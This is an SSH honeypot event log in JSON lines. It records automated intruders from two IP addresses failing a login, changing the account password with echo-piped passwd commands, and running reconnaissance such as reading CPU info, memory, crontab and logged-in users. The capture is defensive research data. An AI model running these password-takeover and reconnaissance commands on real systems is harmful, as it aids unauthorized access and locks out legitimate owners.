{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.666752Z","src_ip":"43.173.69.147","session":"734510fd4aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.736944Z","src_ip":"43.173.69.147","session":"734510fd4aa7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.942403Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"123admin!@#\\nUNeavUBfYrvz\\nUNeavUBfYrvz\\n\"|passwd","message":"CMD: echo \"123admin!@#\\nUNeavUBfYrvz\\nUNeavUBfYrvz\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:08.945863Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8ee7a1faff401876188af0431329e1b6c76103ab01f1efe3f59f7e192952f534","size":25,"shasum":"8ee7a1faff401876188af0431329e1b6c76103ab01f1efe3f59f7e192952f534","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/8ee7a1faff401876188af0431329e1b6c76103ab01f1efe3f59f7e192952f534 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:09.079254Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:09.126788Z","src_ip":"43.173.69.147","session":"734510fd4aa7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:09.429521Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:09.433352Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:09.566172Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:09.873640Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:09.877148Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.012022Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.197284Z","src_ip":"43.173.69.147","session":"734510fd4aa7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.319421Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.324429Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.327818Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.406820Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.411040Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.463797Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.486083Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.664973Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin2019\\nGqTd4GqQPO1p\\nGqTd4GqQPO1p\"|passwd|bash","message":"CMD: echo -e \"admin2019\\nGqTd4GqQPO1p\\nGqTd4GqQPO1p\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.668437Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.672322Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.676000Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.771386Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.774746Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e35d468c7c86cbd8f25487122ae3f3dd3fd72e0fe0031ad9c7baaa864125b948","size":32,"shasum":"e35d468c7c86cbd8f25487122ae3f3dd3fd72e0fe0031ad9c7baaa864125b948","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e35d468c7c86cbd8f25487122ae3f3dd3fd72e0fe0031ad9c7baaa864125b948 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.787628Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.925558Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin2019\\nGqTd4GqQPO1p\\nGqTd4GqQPO1p\\n\"|passwd","message":"CMD: echo \"admin2019\\nGqTd4GqQPO1p\\nGqTd4GqQPO1p\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.929157Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:10.938028Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e44d8e66e6851e50c737fde124281b03ea114326e5bdd375a6d9a97f5666f627","size":25,"shasum":"e44d8e66e6851e50c737fde124281b03ea114326e5bdd375a6d9a97f5666f627","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/e44d8e66e6851e50c737fde124281b03ea114326e5bdd375a6d9a97f5666f627 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.000701Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.225522Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.229232Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.293214Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.297096Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.305314Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.492728Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.496223Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.501926Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.575361Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.746068Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.749151Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.752048Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.867424Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.870303Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:11.876120Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.047952Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.051450Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.061885Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.123705Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.354360Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.357949Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.417093Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.421532Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.490619Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.497447Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.680491Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.685070Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.757068Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.885506Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.888962Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.938993Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:12.942298Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.014774Z","src_ip":"43.173.69.147","session":"c9c20fcba965","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:53:13.020405Z","src_ip":"131.161.219.137","session":"170ab6865c04","protocol":"ssh"}
